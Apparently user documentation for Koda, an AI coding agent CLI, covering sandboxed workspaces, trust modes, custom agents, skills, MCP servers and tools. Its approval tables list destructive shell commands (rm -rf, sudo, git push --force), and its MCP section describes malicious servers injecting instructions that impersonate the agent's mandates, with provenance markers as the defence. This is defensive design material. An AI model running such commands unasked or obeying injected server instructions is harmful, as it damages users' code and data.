The sandbox backend (above) restricts what syscalls a sub-agent can make. The workspace provider is a separate layer that decides where those syscalls write β it materializes an isolated copy of your project for each write-capable sub-agent so concurrent fan-out doesnβt trample shared files.
Isolation guarantees are identical across platforms. Only how the isolated workspace is materialized β and therefore how fast it is β differs:
| Platform | Provider (write-capable agents) | Backing primitive | Typical provision time |
|---|---|---|---|
| macOS | ClonefileProvider | APFS clonefile(2) | ~0.4 s for 30-parallel |
| Linux | GitWorktreeProvider | git worktree add | ~1.6 s for 30-parallel |
| Windows | Not supported | β | β |
Numbers from the parallel_dispatch bench (cargo bench --bench parallel_dispatch -p koda-sandbox) on a fixture project; exact figures
vary by hardware and project size.
Read-only sub-agents (no Write or Edit tools) skip the workspace
provider entirely on every platform β they share the parent project
root for free, no provisioning cost.
Why the platforms differ
macOS exposes a kernel primitive (clonefile(2)) that creates a
copy-on-write snapshot of an entire directory tree in a single syscall.
Linux has no equivalent thatβs both unprivileged and available out of
the box across distros β reflink requires an FS that supports it
(XFS, Btrfs, some ext4 configs), overlayfs typically requires
CAP_SYS_ADMIN, and fuse-overlayfs is a userspace dep. Until
production usage shows Linux fan-out is meaningfully bottlenecked by
the git worktree cost, Koda uses git worktrees there for portability.
Practical implications
- macOS sub-agent fan-out is faster than Linux by a constant factor (~3-4Γ in the workspace-provision phase). For typical interactive use (a few sub-agents per task) the difference is sub-second and not noticeable. For heavy parallel fan-out (dozens of sub-agents) it shows up.
- The 30-parallel acceptance gate is met on both platforms. Even the slower Linux path runs in single-digit seconds for 30 concurrent write-capable sub-agents.
- Falling back gracefully: if
ClonefileProvidercanβt be constructed on macOS (e.g.$HOMEunset, project path canβt canonicalize), Koda automatically falls back toGitWorktreeProviderwith atracing::warn!. If the actualclonefile(2)syscall fails at runtime (rare β happens on non-APFS volumes), the dispatcher falls back to running unisolated against the shared project root with a warning. - Closing the gap: a Linux CoW backend is on the roadmap but parked until production telemetry justifies it (tracked in #934). If you run large parallel fan-out workloads on Linux and feel the slowness, please open an issue β thatβs exactly the signal that would un-defer the work.
Session management
Koda stores every conversation in a local SQLite database, organised by project root. Each session gets a UUID that you can use to resume it.
# List and pick a session interactively
/sessions
# Resume by ID prefix from the TUI
/sessions resume a3f8bc
# Resume from the command line (headless or interactive)
koda -s a3f8bc
koda -s a3f8bc "continue where we left off"
# Delete a session permanently
/sessions delete a3f8bc
Away summary
When you resume a session that was idle, Koda shows:
- How long you were away
- Message and tool-call counts
- Total tokens used
- A banner if the previous turn was interrupted mid-inference
Session title
Koda auto-generates a short title after the first exchange. The title is
shown in /sessions and the status bar.
Context management
Every provider has a context window limit (measured in tokens). The status
bar shows current usage as a percentage (e.g. 34%).
Auto-compact
When usage reaches 85%, Koda automatically compacts the session:
- All but the last 4 messages are summarised by the model
- The summary is stored in the DB (recoverable with
/purge) - A status line appears:
π» Context at 85% β auto-compactingβ¦
Auto-compact is skipped if there are pending tool calls (it waits for the turn to finish cleanly).
Manual compact
Run /compact at any time to compact early, e.g. before starting a large
refactor so you have the full context window available.
Purging archived history
/compact keeps summaries in the DB. Use /purge to delete them:
/purge β prompt and delete all archived messages
/purge 90d β delete only archived messages older than 90 days
Memory
Memory files persist facts and preferences across sessions.
Project memory β MEMORY.md in the project root (Koda also reads
CLAUDE.md and AGENTS.md for compatibility). Injected into every
system prompt for that project.
Global memory β ~/.config/koda/memory.md. Injected into every
system prompt across all projects.
/memory β show the paths to both memory files
/memory save β ask the model to summarise and append to MEMORY.md
MemoryWrite tool
The MemoryWrite tool lets the model append facts to memory directly
during a conversation:
> Remember that we use tabs not spaces in this project
Koda will call MemoryWrite automatically when you ask it to remember.
File precedence
| File | Scope | Priority |
|---|---|---|
.koda/MEMORY.md | Project | Highest |
MEMORY.md | Project root | High |
CLAUDE.md | Project root | High (compatibility) |
AGENTS.md | Project root | High (compatibility) |
~/.config/koda/memory.md | Global | Base |
Providers & model aliases
Supported providers
| Provider name | --provider value | API key env var | Default model | Needs key |
|---|---|---|---|---|
| Anthropic | anthropic | ANTHROPIC_API_KEY | claude-sonnet-4-6 | β |
| OpenAI | openai | OPENAI_API_KEY | gpt-4o | β |
| Google Gemini | gemini | GEMINI_API_KEY | gemini-flash-latest | β |
| Groq | groq | GROQ_API_KEY | llama-3.3-70b-versatile | β |
| Grok / xAI | grok | XAI_API_KEY | grok-3 | β |
| DeepSeek | deepseek | DEEPSEEK_API_KEY | deepseek-chat | β |
| Mistral | mistral | MISTRAL_API_KEY | mistral-large-latest | β |
| MiniMax | minimax | MINIMAX_API_KEY | minimax-text-01 | β |
| OpenRouter | openrouter | OPENROUTER_API_KEY | anthropic/claude-3.5-sonnet | β |
| Together AI | together | TOGETHER_API_KEY | Llama-3.3-70B-Instruct-Turbo | β |
| Fireworks AI | fireworks | FIREWORKS_API_KEY | llama-v3p3-70b-instruct | β |
| LM Studio | lm-studio | β | auto-detect | β |
| Ollama | ollama | β | auto-detect | β |
| vLLM | vllm | β | auto-detect | β |
Local providers (LM Studio, Ollama, vLLM) are auto-detected on first run and require no API key. The model is discovered from the running server.
Model aliases
Aliases let you switch models without memorising exact IDs. Theyβre shown
in the /model picker and accepted by --model and /model.
| Alias | Provider | Exact model ID |
|---|---|---|
gemini-flash-lite | Gemini | gemini-flash-lite-latest |
gemini-flash | Gemini | gemini-flash-latest |
gemini-pro | Gemini | gemini-pro-latest |
claude-haiku | Anthropic | claude-haiku-4-5-20251001 |
claude-sonnet | Anthropic | claude-sonnet-4-6 |
claude-opus | Anthropic | claude-opus-4-6 |
local | LM Studio | auto-detect at runtime |
You can also use any literal model ID your provider supports β aliases
are just shortcuts. koda --model gpt-4o-mini or /model o3 both work.
HTTP timeouts
All providers use a shared HTTP client with the following timeout defaults:
| Setting | Default | Env override | Description |
|---|---|---|---|
| Connect timeout | 30 s | KODA_CONNECT_TIMEOUT_SECS | Time allowed to establish the TCP/TLS connection |
| Read timeout | 300 s (5 min) | KODA_READ_TIMEOUT_SECS | Time allowed between bytes from the server (per-byte, not total) |
The read timeout is per-byte, not total. A long streaming response is fine as long as bytes keep arriving β the timer resets on each chunk. This means slow networks or chatty SSE streams wonβt get murdered mid-turn, but a stalled connection (server hung after last byte) will fail fast.
When to tune these
- Behind a slow corporate proxy? Bump
KODA_CONNECT_TIMEOUT_SECSto 60 or 90. Connection-phase timeouts often manifest as βrequest timed outβ with no usage data, which is the giveaway. - Long-running model on a flaky link? Bump
KODA_READ_TIMEOUT_SECSto 600+. Read-phase timeouts manifest as a partial response cut short partway through generation. (Note: koda also auto-retries transient network errors up to 5 times with exponential backoff; seeis_network_transient_error.) - Local provider (Ollama, LM Studio, vLLM) and you want fail-fast?
Drop
KODA_READ_TIMEOUT_SECSto 30 β local models that hang are usually truly hung, not slow.
Example
KODA_CONNECT_TIMEOUT_SECS=60 KODA_READ_TIMEOUT_SECS=300 koda
Configuration
Precedence
When multiple sources specify the model, provider, or API key, the highest-priority source wins:
1. CLI flags --model, --provider, --base-url (highest)
β
2. Shell env vars KODA_MODEL, KODA_PROVIDER, KODA_BASE_URL
β
3. Keystore / DB saved by /model, /provider, /key (injected at startup)
β
4. Built-in defaults Claude Sonnet via Anthropic (lowest)
API keys (ANTHROPIC_API_KEY, OPENAI_API_KEY, GEMINI_API_KEY, β¦)
follow the same chain. Keys saved with /key are injected at startup β
but a key already in the shell environment takes precedence and is never
overwritten.
# Per-call override (doesn't change saved config)
koda "review auth.rs" --model o3
# Per-project via direnv (.envrc)
export KODA_MODEL=gemini-2.5-pro
# CI / GitHub Actions
ANTHROPIC_API_KEY=${{ secrets.ANTHROPIC_KEY }} koda -p "check types"
Config files
Everything lives in ~/.config/koda/:
| Path | Content |
|---|---|
db/koda.db | SQLite β sessions, messages, settings, API keys, input history |
logs/koda.log | Rolling daily tracing log (not shown in the TUI) |
agents/ | Global custom agent JSON definitions |
skills/ | Global custom skill markdown files |
memory.md | Global memory (injected into all system prompts) |
Project-level overrides live in .koda/ at your project root and take
priority over global config:
| Path | Content |
|---|---|
.koda/agents/ | Project-specific agent definitions |
.koda/skills/ | Project-specific skills |
MEMORY.md | Project memory (also checks CLAUDE.md, AGENTS.md) |
Display
Kodaβs TUI ships ANSI-colored syntax highlighting by default. Disable with one flag for environments where the output looks awful (monochrome themes, non-RGB-aware terminals).
| Env var | Default | Disable with |
|---|---|---|
KODA_SYNTAX_HIGHLIGHT | on | off, 0, false, or no |
KODA_SYNTAX_HIGHLIGHTcontrols TUI syntax highlighting forRead,Bashheaders, and inline code. Disable for monochrome terminals or terminals where ANSI-RGB output looks washed out. Memoized on first call β restart koda after changing.
The negative values above (off, 0, false, no) are
case-insensitive; everything else (including empty string and on)
keeps the feature enabled.
Removed in v0.2.26:
KODA_TRANSCRIPT_HYPERLINKSandKODA_EXPORT_VERBOSEpreviously controlled/exportoutput formatting. Both were removed alongside/exportitself when RFC #1167 collapsed transcript export into/debug-bundle. Setting either var is now a silent no-op; remove them from your shell rc files.
Custom agents
Place JSON files in .koda/agents/ (project-local) or
~/.config/koda/agents/ (global):
{
"name": "testgen",
"system_prompt": "You are a test generation specialist. When asked to write tests, always use the project's existing test patterns.",
"model": "gemini-2.5-flash",
"trust": "safe",
"allowed_tools": ["Read", "Write", "Edit", "Bash", "Grep", "Glob"]
}
Agent fields
| Field | Required | Description |
|---|---|---|
name | β | Identifier used with /agent <name> and InvokeAgent |
system_prompt | β | The agentβs persona and instructions |
trust | "plan" (read-only), "safe" (write-capable, default), or "auto" (auto-approve mutations within sandbox). See Trust modes. | |
model | Model alias or ID (defaults to current saved model) | |
allowed_tools | Subset of tools the agent can call (defaults to all) | |
disallowed_tools | Tools to deny even if allowed_tools is empty | |
max_iterations | Per-sub-agent turn cap (default: 30 for sub-agents, 200 for top-level). See Sub-agent budget. | |
skip_memory | Skip injecting project/global memory into the prompt (saves tokens for read-only agents) | |
write_access | Deprecated β use trust instead. Pre-existing JSONs still work; a warning is logged at load. See Migration from write_access. |
Three example shapes
The trust field is the primary mechanism. Most custom agents fall
into one of three shapes:
Read-only investigator (Plan trust)
For agents that should only investigate, never modify state:
{
"name": "auditor",
"system_prompt": "You audit code for security issues. Read, grep, and report β never modify files.",
"trust": "plan",
"skip_memory": true
}
trust: "plan" makes the kernel sandbox enforce read-only at the
syscall level β strictly stronger than soft-denying Write/Edit/Delete
in disallowed_tools. (Soft-denying still works as a behavioral floor
for tools the matrix canβt gate, like InvokeAgent or AskUser.)
Write-capable worker (Safe trust)
The default shape for agents that need to make changes:
{
"name": "testgen",
"system_prompt": "You write tests. Match the project's existing patterns.",
"trust": "safe",
"allowed_tools": ["Read", "Write", "Edit", "Bash", "Grep", "Glob"]
}
In Safe trust, the sub-agent matrix
auto-approves mutating ops (Write/Edit/MemoryWrite) and blocks
destructive ops (rm -rf, git reset --hard, Delete). No human
prompt needed because thereβs no UI for the sub-agent to prompt into.
Read-only with execution escape valve (Safe trust + denied writes)
For agents that need to run tests / inspect runtime state but should
never modify code (e.g. the built-in verify agent):
{
"name": "verify",
"system_prompt": "You verify behavior by running tests. Never edit source.",
"trust": "safe",
"disallowed_tools": ["Write", "Edit", "Delete"]
}
This is strictly different from trust: "plan": the agent can
still call Bash (run cargo test, pytest, etc.) but the trust
matrixβs auto-approve for mutating tools is overridden by the soft
denylist. Plan would deny Bash outright as a mutation.
Migration from write_access
The legacy write_access: bool field is deprecated. The mapping:
| Old shape | New shape |
|---|---|
{ "write_access": true } | { "trust": "safe" } |
{ "write_access": false } | { "trust": "plan" } |
{ "write_access": false, "disallowed_tools": [...] } | { "trust": "plan", "disallowed_tools": [...] } |
Pre-existing JSONs without trust still work via a back-compat
default-deny: write_access: false (or absent) injects
Write/Edit/Delete into disallowed_tools at load. Adding trust
explicitly skips the legacy default-deny so an explicit
trust: "safe" declaration works cleanly without surprise denials.
A deprecation warning is logged at load when both trust and
write_access: true appear in the same JSON.
Sub-agent budget
Sub-agents are bounded by a per-invocation turn cap to prevent
runaway exploration (#1135). The default is 30 turns β
empirically enough for any reasonable read-only investigation on a
moderate codebase, and matching gemini-cliβs DEFAULT_MAX_TURNS.
Long-running write agents that legitimately need more can opt up:
{
"name": "big-refactor",
"trust": "safe",
"max_iterations": 100,
"...": "..."
}
When a sub-agent hits its budget without producing a final answer, Koda runs one grace turn with this system reminder appended:
You have reached the maximum number of turns. You have ONE final chance to complete the task. You MUST respond with your best answer NOW as plain text. DO NOT call any more tools β any tool calls in this response will be ignored.
If the model complies, its grace-turn text becomes the sub-agentβs
result. If the model defies the reminder and emits more tool calls,
those calls are dropped and the sub-agent returns a [max_turns reached: ...] marker so the parent (and user) can see what
happened.
The top-level Koda agent still uses the larger 200-turn cap with
an interactive extension prompt (LoopCapReached) β the budget
pattern is sub-agent-only.
Using agents
/agent testgen β switch to a named agent for the current session
The main model dispatches to sub-agents via the InvokeAgent tool. Each
sub-agent runs in its own worktree with its own model, tools, and session.
Built-in agents
| Agent | Trust | Purpose |
|---|---|---|
default | safe | General-purpose coding assistant β the master agent shape |
task | safe | Generic write-capable sub-agent for InvokeAgent dispatch |
explore | plan | Read-only investigation sub-agent β code review, dependency tracing, audit trails |
plan | plan | Read-only planning sub-agent β proposes changes without making them |
verify | safe | Execution-only sub-agent β runs tests/scripts but Write/Edit/Delete are denied as a behavioral floor |
Skills
Skills are reusable expertise modules β markdown files loaded into the system prompt on demand.
/skills β list all available skills
/skills security β filter by name or description
The model can also activate skills automatically via the ActivateSkill
tool when it determines a skill is relevant.
Creating custom skills
Place a SKILL.md file inside a named directory under .koda/skills/
(project-local) or ~/.config/koda/skills/ (global). The directory name
becomes the skill name.
.koda/
skills/
my-checklist/
SKILL.md β skill content goes here
SKILL.md format
Frontmatter is YAML between --- fences; the body is the skill prompt:
---
name: my-checklist
description: One-line summary shown in ListSkills output.
tags: [review, quality]
when_to_use: Use when the user asks to review a pull request or a diff.
allowed_tools: [Read, Grep, Glob]
user_invocable: true
argument_hint: <file_or_pr_url>
---
# My Review Checklist
When reviewing code, always check:
- [ ] No hardcoded secrets
- [ ] Error handling covers all paths
- [ ] Tests cover the new logic
| Field | Required | Description |
|---|---|---|
name | β | Skill identifier (used with ActivateSkill) |
description | recommended | One-line summary shown in ListSkills |
tags | optional | Searchable tags: [tag1, tag2] |
when_to_use | recommended | Guidance for the model on when to activate |
allowed_tools | optional | Restrict tools during activation (empty = all) |
user_invocable | optional | false = model-only, hidden from /skills |
argument_hint | optional | Usage hint (e.g. <file_path>) |
Note: Both underscore (
allowed_tools) and hyphenated (allowed-tools) field names are accepted for CC compatibility.
How allowed_tools enforcement works
When a skill with allowed_tools is activated:
- Tool definitions are filtered β only the listed tools (plus meta-tools
like
ActivateSkill,ListSkills,ListAgents,InvokeAgent,AskUser) are sent to the LLM on subsequent turns. - Blocked tool calls are rejected β if the model still attempts a blocked tool (e.g., from cached context), the call returns an error explaining the scope restriction.
- Scope clears automatically when a different skill without
allowed_toolsis activated.
Scope transitions are logged as info events (π scope activated /
π scope cleared).
Skill lookup order
.koda/skills/(project-local, highest priority)~/.config/koda/skills/(global)- Built-in skills bundled with the binary
Project-local skills shadow global ones with the same name.
MCP servers (Model Context Protocol)
Koda can connect to external MCP servers as a client, expanding its toolset with anything exposed over the MCP protocol β Playwright for browser automation, database drivers, Slack, internal APIs, and more.
Quick start
# Add a stdio server (spawns a child process)
/mcp add playwright npx -y @playwright/mcp
# Add an HTTP server
/mcp add-http my-api https://api.example.com/mcp
# Add an HTTP server with bearer-token auth
/mcp add-http my-api https://api.example.com/mcp --token sk-mytoken
# List all configured servers and their status
/mcp list
# Reconnect a server without restarting Koda
/mcp reconnect playwright
# Remove a server
/mcp remove playwright
Slash commands
/mcp list
Shows every configured MCP server, its transport (stdio / http), and its current connection status (connected / failed / disconnected).
/mcp add <name> <command> [args...]
Add a stdio MCP server. Koda spawns <command> with the given
arguments and communicates over stdin/stdout.
/mcp add playwright npx -y @playwright/mcp
/mcp add db-tools uvx koda-db --dsn postgresql://localhost/mydb
Name rules: letters, digits, hyphens, and underscores only ([a-zA-Z0-9_-]).
Double-underscore (__) is reserved as Kodaβs internal tool-routing separator
and is not allowed.
/mcp add-http <name> <url> [--token <bearer>]
Add an HTTP MCP server using the MCP 2025-03-26 Streamable HTTP transport.
/mcp add-http my-api https://api.example.com/mcp
/mcp add-http my-api https://api.example.com/mcp --token sk-abc123
Security note: Bearer tokens sent over plaintext
http://are logged as a warning. Usehttps://in production. Koda also blocks connections to private/loopback addresses (SSRF protection).
/mcp reconnect <name>
Disconnect and re-connect a running server without restarting Koda. Useful after updating the server binary or rotating credentials.
#/mcp remove
Permanently delete the server config from the local keystore and disconnect it immediately. The server process (if stdio) is cleaned up automatically.
Tool naming
MCP tools appear in Kodaβs tool registry as <server>__<tool>. For example,
a tool named navigate on the playwright server becomes playwright__navigate.
The model can call these tools directly. No extra configuration is required.
Tool filtering
To limit which tools a server exposes, edit ~/.config/koda/mcp.json manually
or use koda config (future release). Example snippet:
{
"playwright": {
"transport": "stdio",
"command": "npx",
"args": ["-y", "@playwright/mcp"],
"enabled_tools": ["navigate", "click", "screenshot"]
}
}
enabled_tools is an allowlist; disabled_tools is a denylist. If both are
set, enabled_tools wins.
Transport reference
| Transport | How it works | When to use |
|---|---|---|
stdio | Koda spawns a child process and communicates over stdin/stdout | Local tools, CLI-wrapped servers |
http | Koda connects to a running HTTP endpoint (MCP 2025-03-26 spec) | Remote or shared servers, cloud APIs |
Timeouts
| Setting | Default | Description |
|---|---|---|
startup_timeout_sec | 30 s | Time allowed for the server to respond to initialize |
tool_timeout_sec | 120 s | Time allowed for a single tool call to complete |
Persistence
MCP server configs are stored in the local SQLite keystore (~/.local/share/koda/koda.db)
under the mcp: key prefix. They survive session restarts and are loaded
automatically on each startup.
Server-supplied instructions
The MCP spec lets each server return a free-form instructions string in
its initialize response telling the model how to use it best β for
example, βPrefer locator-based queries over CSS selectorsβ for a
Playwright server, or βAlways use parameterized queriesβ for a Postgres
server.
Koda surfaces these into the system prompt of every turn, in a dedicated block that comes after Kodaβs own behavioral mandates:
# MCP Server Instructions
---[start of server instructions from playwright]---
Prefer locator-based queries over CSS selectors.
---[end of server instructions from playwright]---
---[start of server instructions from postgres]---
Always use parameterized queries.
---[end of server instructions from postgres]---
What this means for users
- Zero token cost when no MCP servers are configured. The block is omitted entirely.
- No config required. If youβve added a server with
/mcp add, its instructions surface automatically the next turn after it connects. - Hot-reload friendly. Adding or removing a server mid-session via
/mcp add//mcp removeupdates the block in the next turn β thereβs no stale-prompt window.
What this means for MCP server authors
- The
instructionsfield in yourInitializeResultreaches the model verbatim. Treat it like a short README aimed at the LLM, not at humans. - Be concise β every byte costs tokens for every turn the user runs against your server.
- Donβt try to override Kodaβs own behavioral mandates. The provenance
framing (
---[start of server instructions from <name>]---) makes it obvious to the model that your block comes from your server, not from Koda itself, so impersonation attempts are visible.
Security note
Server-supplied instructions are untrusted content from the perspective
of the userβs session β they originate from whoever runs the MCP server.
Koda passes them through verbatim (no sanitization) but wraps them in
clearly-labelled provenance markers so a malicious or compromised server
canβt masquerade as Kodaβs own mandates.
If you connect to MCP servers you donβt fully trust, prefer the stdio
transport (which still flows through the OS sandbox for tool calls) and
review the instructions block via your modelβs tracing/debug output
before granting Auto mode.
Troubleshooting
| Symptom | Fix |
|---|---|
Server shows failed on /mcp list | Check the command/URL, then /mcp reconnect <name> |
| Tools not appearing after add | The server may have taken longer than startup_timeout_sec to start β /mcp reconnect or restart Koda |
__ in server name rejected | Use - instead: my-server not my__server |
| HTTP server SSRF error | Private/loopback URLs are blocked β use a public or VPN-accessible URL |
Tools reference
Koda exposes these tools to the model. In Safe trust mode youβll be prompted before each mutating call. In Auto mode, mutating ops within the project sandbox auto-approve, but destructive ops still prompt. See Trust modes for the canonical matrix.
| Tool | Effect | Description |
|---|---|---|
Read | Read-only | Read a file (with optional line range) |
Write | Mutating | Create or overwrite a file |
Edit | Mutating | Targeted text replacement within a file |
Delete | Destructive | Delete a file or directory |
Bash | Varies | Run a shell command |
Grep | Read-only | Search for patterns across files (ripgrep) |
Glob | Read-only | List files matching a glob pattern |
WebFetch | Read-only | Fetch a URL and return its text content |
WebSearch | Read-only | Search the web via DuckDuckGo |
Think | Internal | Extended reasoning step (no side effects) |
MemoryRead | Read-only | Read from project or global memory |
MemoryWrite | Mutating | Append a fact to a memory file |
TodoWrite | Read-only | Update the session task list (Koda-owned state, no FS impact) |
RecallContext | Read-only | Search session history for past context |
ListSkills | Read-only | List available skills |
ActivateSkill | Internal | Load a skillβs instructions into context |
InvokeAgent | Varies | Delegate a task to a named sub-agent |
ListFiles | Read-only | List directory contents |
AskUser | Interactive | Ask the user a clarifying question |
ListBackgroundTasks | Read-only | Snapshot all background tasks owned by the caller |
CancelTask | Read-only | Cancel a background agent or shell process |
WaitTask | Read-only | Block until one or more background tasks finish (max 300 s/task, atomic gather) |
Approval behaviour by trust mode
| Category | Tools | Plan | Safe | Auto |
|---|---|---|---|---|
| Read-only | Read, Grep, Glob, ListFiles, WebFetch, WebSearch, RecallContext, TodoWrite | β Auto | β Auto | β Auto |
| Internal | Think, ActivateSkill | β Auto | β Auto | β Auto |
| Mutations | Write, Edit, MemoryWrite | β Deny | βΈ Prompt | β Auto |
| Destructive | Delete | β Deny | βΈ Prompt | βΈ Prompt |
| Agent calls | InvokeAgent | β Auto | β Auto | β Auto |
| Background tasks | ListBackgroundTasks, CancelTask, WaitTask | β Auto | β Auto | β Auto |
| User interaction | AskUser | βΈ Prompt | βΈ Prompt | βΈ Prompt |
| Safe shell | git status, grep, cargo test | β Auto | β Auto | β Auto |
| Mutating shell | echo > file, gh issue create | β Deny | βΈ Prompt | β Auto |
| Destructive shell | rm -rf, sudo, git push --force, git reset --hard | β Deny | βΈ Prompt | βΈ Prompt |
| Outside-project write | Write/Edit to paths outside project root | β Deny | βΈ Prompt | βΈ Prompt |
See Trust modes for the canonical policy matrix and
the sub-agent context-sensitive variant (sub-agents resolve βΈ Prompt
as auto-approve for mutations and block for destructive ops, since
thereβs no human channel to prompt into).
WaitTask
WaitTask blocks until one or more background tasks (sub-agents or
shell processes) finish. As of v0.2.25 it is an atomic multi-task
gather: pass an array of task IDs and get back results for all of
them in a single tool call, with per-task error isolation.
Request shape
{
"task_ids": ["agent:1", "agent:2", "sh:7"]
}
task_ids(required): array of strings. Each ID comes from the βstartedβ message printed byInvokeAgent(e.g.agent:1) or byBashwhen run in the background (e.g.sh:7).- One ID per task; duplicates are deduplicated.
- Per-task budget is 300 seconds (5 minutes). The budget is per-task, not per-call: gathering 4 tasks does not give you 1200 s.
Response shape
{
"tasks": [
{"task_id": "agent:1", "status": "success", "result": {...}},
{"task_id": "agent:2", "status": "failed", "error": "..."},
{"task_id": "sh:7", "status": "timeout"}
],
"summary": {
"total": 3, "success": 1, "failed": 1, "timeout": 1,
"cancelled": 0, "forbidden": 0, "not_found": 0
}
}
Per-task status is one of: success, failed, timeout,
cancelled, forbidden (caller does not own the task), or
not_found (typo or already-reaped task).
Error isolation
A failure in one task does not fail the whole call. The model can
inspect the summary block to decide what to retry. This is the
breaking change from v0.2.24, where WaitTask accepted a single
task_id and returned the bare result envelope.
Migration from v0.2.24
Any prompt or skill that hardcoded {"task_id": "agent:1"} must be
updated to {"task_ids": ["agent:1"]}. Single-task waits still work
β the array just has length 1.
ACP server (editor integration)
Koda implements the Agent Client Protocol over stdio JSON-RPC 2.0. This lets editors connect to Koda as a local agent without network setup.
# Start the server (editors launch this automatically)
koda server --stdio
Protocol lifecycle
Editor β initialize (negotiate protocol version)
Koda β InitializeResponse
Editor β session/new (create a session)
Koda β NewSessionResponse (returns session_id)
Editor β session/prompt (send a user message)
Koda β [stream of session/update events]
Koda β PromptResponse (turn complete)
Editor β Cancel (optional β aborts the running turn)
Each line on stdin/stdout is a complete, self-contained JSON-RPC object.
Editor setup
For VS Code, Zed, and other editors, see your editorβs extension docs for how to configure a local ACP agent. The command to register is:
koda server --stdio
No ports, no tokens, no network configuration required.
Privacy & data
Koda has zero telemetry. No usage data, crash reports, or analytics are collected or transmitted anywhere.
What stays local
- Conversations are stored only in your local SQLite database
- API keys are stored locally in the same database (file mode 0600)
- The only network traffic is your LLM API calls to the provider you chose
- Version checks query crates.io only (no Koda-specific server)
- You can audit every byte sent to the model by reading the DB directly
Database location
~/.config/koda/db/koda.db
The database is a standard SQLite file. You can inspect it with any
SQLite browser or the sqlite3 CLI.
Deleting your data
# Delete all sessions
rm ~/.config/koda/db/koda.db
# Or selectively from the TUI
/sessions delete <id>
There is no cloud backup. Deleted data is gone.
Troubleshooting
Koda crashed β where do I find the diagnostic info?
When koda hits an unrecoverable error and exits, it leaves a forensic record in:
~/.config/koda/logs/panic.log
Each crash appends a delimited block:
======================================================================
[2026-04-29T20:55:32Z] PANIC
version: koda 0.2.26
location: koda-core/src/foo.rs:42:8
thread: <unnamed>
message: assertion failed: x > 0
backtrace:
0: ...
1: ...
======================================================================
The most recent panic is always at the bottom of the file.
Getting a useful backtrace
By default, the backtrace section will say:
backtrace:
(disabled β re-run with RUST_BACKTRACE=1 to capture)
To capture a full backtrace, re-run koda with:
RUST_BACKTRACE=1 koda
Or for symbol resolution at every frame (slower startup, more verbose):
RUST_BACKTRACE=full koda
What to share when reporting a crash
When filing an issue at https://github.com/lijunzh/koda/issues, please include:
- The most recent panic block from
~/.config/koda/logs/panic.log(withRUST_BACKTRACE=1if possible) - The contents of
~/.config/koda/logs/latest(the per-process log for the crashed run β symlinks to the most recentkoda-<pid>.log) - Your provider + model (e.g.
gemini gemini-2.5-pro,anthropic claude-sonnet-4-5)
Log file rotation
Koda caps panic.log at 5 MB. When it exceeds that, itβs rotated:
panic.log.3β dropped (oldest)panic.log.2βpanic.log.3panic.log.1βpanic.log.2panic.logβpanic.log.1panic.logβ recreated empty on the next crash
Three generations are kept. If you want to archive a panic before
rotation, copy panic.log.1 somewhere safe.
Kodaβs terminal looks corrupted after a crash
Koda installs a panic hook that restores the terminal (disables raw mode, leaves the alternate screen, drops mouse capture) before the panic message prints. If you ever see a corrupted terminal after a crash, thatβs a bug β please file an issue including the panic.log entry above so we can fix the affected code path.
A quick local recovery:
stty sane && tput cnorm && printf '\033[?1049l\033[?1000l\033[?1006l'
Where else does koda log?
| Path | Contents |
|---|---|
~/.config/koda/logs/panic.log | Forensic crash records (this page) |
~/.config/koda/logs/koda-<pid>.log | Per-process tracing logs |
~/.config/koda/logs/latest (symlink) | Most recent per-process tracing log |
Tracing verbosity is controlled by the RUST_LOG environment variable;
the default is koda_core=info,koda_cli=info. Common debug recipes:
# More chatter from the inference loop
RUST_LOG=koda_core::session=debug koda
# Quiet everything but warnings
RUST_LOG=warn koda